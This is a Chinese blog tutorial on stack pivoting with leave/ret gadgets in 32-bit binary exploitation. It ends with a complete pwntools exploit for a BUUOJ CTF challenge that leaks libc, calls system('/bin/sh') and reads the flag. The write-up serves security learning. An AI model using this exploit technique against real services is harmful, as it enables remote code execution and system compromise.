PWN题型之栈迁移

5 篇文章 2 订阅

前言

菜鸡总结,如有不对,望各位大佬及时指点,以免误人子弟。



0x1 :基本知识:

想必大家都知道用栈迁移技术来解决的问题了吧———溢出的长度不够,只能覆盖到返回地址,至于后面需要构造的rop链的长度显然是不够的。

如果大家对于C语言调用栈还不是很了解的话,建议了解之后再往下看,因为这个对于了解栈迁移有很大的帮助。可以看我的博客C语言调用栈 ,也可以自行去百度上面了解。

下面讲一下栈迁移用到的最关键的两个汇编指令leave指令和ret指令。其作用就是用来还原栈空间的。
在这里插入图片描述
其作用的结果图大概就是下面这样(下面是调用函数时开辟的栈空间):
在这里插入图片描述



0x2 :利用思路 :

利用前提:
(1)存在两个变量的输入,如果只能输入一次的话,那必然无法造成溢出,其中一个输入buf变量刚好能溢出到返回地址,而另一个输入变量s的内容应该是存放到bss段或者其他。
在这里插入图片描述
在这里插入图片描述

利用思路:一个栈空间长度不够,我既然能够输入两次,那我为什么不把这两个栈空间串联起来,就像把它变成一个栈一样(当然实质并不是这样的),这样的栈空间不就足够了吗?重点就是怎么样把两个栈串联起来呢?关键就是就是依靠leave和ret指令。

首先我们知道调用函数时栈的过程会保存栈布局,并且会移动ebp、esp以此来形成新的栈帧。那和leave ret指令有什么关系呢?

首先我们要知道栈迁移的payload的构成。下面是以32位的libc题型为例画的示意图

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

最终的效果其实就是和泄露libc时的一样,只不过多了一个leave_ret地址,而且由一个payload变成了两个payload。加上函数调用完以后本身会执行leave和ret指令,这样就有两个了,反复利用leave和ret指令以此来达到栈迁移的目的。

下面是payload在栈上面的布局情况:
在这里插入图片描述

我们重点来讲一讲函数调用完以后的返回过程,两个空间是怎么样串联起来的。

(1)第一个leave指令:它先将栈空间清空,将esp弄了回来,然后将(构造好的空间的地址-4)传给了ebp。那为什么地址要减4,这是就和第二个leave指令有关了,之后会有解释。

此时的栈内空间变化:
请添加图片描述

(2)第一个ret指令:它将带有leave和ret指令的地址传给了eip,那么接下来程序又会跳转到leave处。
此时的栈空间变化:
请添加图片描述

(3)第二个leave指:其实类似C语言调用栈过程(不过是相反的)。这里先mov esp ebp,然后再pop ebp。
bss-4的原因:这里由于需要再一次pop ebp,所以导致esp会变成esp的地址会加上4(32位),这也是为什么我们设置的bss段的地址要减去4,这样这样esp+4 = bss_addr,而我们构造的payload的地址是从bss_addr开始的,只有这样我们才能准确的执行。如果你将地址写成bss段,就会导致esp = bss_addr +4,然后执行预留返回地址,不会执行write_plt_addr。
这里需要提醒的是:这里是在bss段,并不是真的在栈当中,所以说之后的esp、ebp地址的变化其实并不需要管。只需要知道程序它会向下继续执行。

此时的栈空间变化:
在这里插入图片描述

(4)第二个ret指令:将write_plt_addr传给eip,执行write函数。

注意:bss段是从低地址向高地址往高地址增长,所以这是为什么esp在ebp的下面的原因。重点要知道的是他们之间的栈是怎么样的布局的,

总共返回时的流程为:

在这里插入图片描述

0x3 :实例讲解

题目链接:[Black Watch 入群题]PWN

程序分析:32位程序,开启了NX保护。打开IDA,查看一下源代码
在这里插入图片描述
代码分析:上文分析过了,漏洞利用:栈迁移技巧,然后发现没有system函数而且开启了NX保护,所以利用libc的来泄露system函数。本题:栈迁移 + libc。libc题型不会的可以看我的 PWN题型之Ret2libc

exp :

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",26026)

e = ELF("./pwn")
context(log_level = 'debug')
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
bss_addr = 0x0804A300
leave_ret_addr = 0x08048511 

payload1 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
r.recvuntil("What is your name?")
r.sendline(payload1)

offset = 0x18
payload2 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)

r.recvuntil("What do you want to say?")
r.send(payload2)

write_addr = u32(r.recv(4))
print(hex(write_addr))
#pause()

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload3 = p32(system_addr) + p32(1) + p32(binsh_addr)
r.recvuntil("What is your name?")
r.sendline(payload3)

payload4 = offset*'a' + p32(bss_addr-4) + p32(leave_ret_addr)
r.recvuntil("What do you want to say?")
r.sendline(payload4)

r.sendline("cat flag")
r.interactive()


这里有一个需要注意的点就是,第二个payload发送是用的send,而不是sendline,这里我卡了半天。我觉得这和read函数的读取机制有关系,因为read函数是会读取\n的,当你发送的内容没有溢出的话,它会输出下来,但是当你溢出时他只会输出最多的字节数。具体的原理我也是还没搞懂。

总结:

栈迁移就是将这个空间不够的栈劫持(转移)到我能够写入的一个地方,只要这个地方的内容我提前布局好,就能想你想做的事情,我觉得就是两个栈空间结合起来,以此来扩大空间。

其实如果不是很懂得话,只需要记住:两个payload加起来,然后与之前的想必中间多了一个bss_addr和leave_ret_addr,并且偏移量只是到ebp处。但是如果只是知道做题而不懂原理我是一点作用都没有的,不要为了做题而做题,做题是为了掌握知识点。

  • 5
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值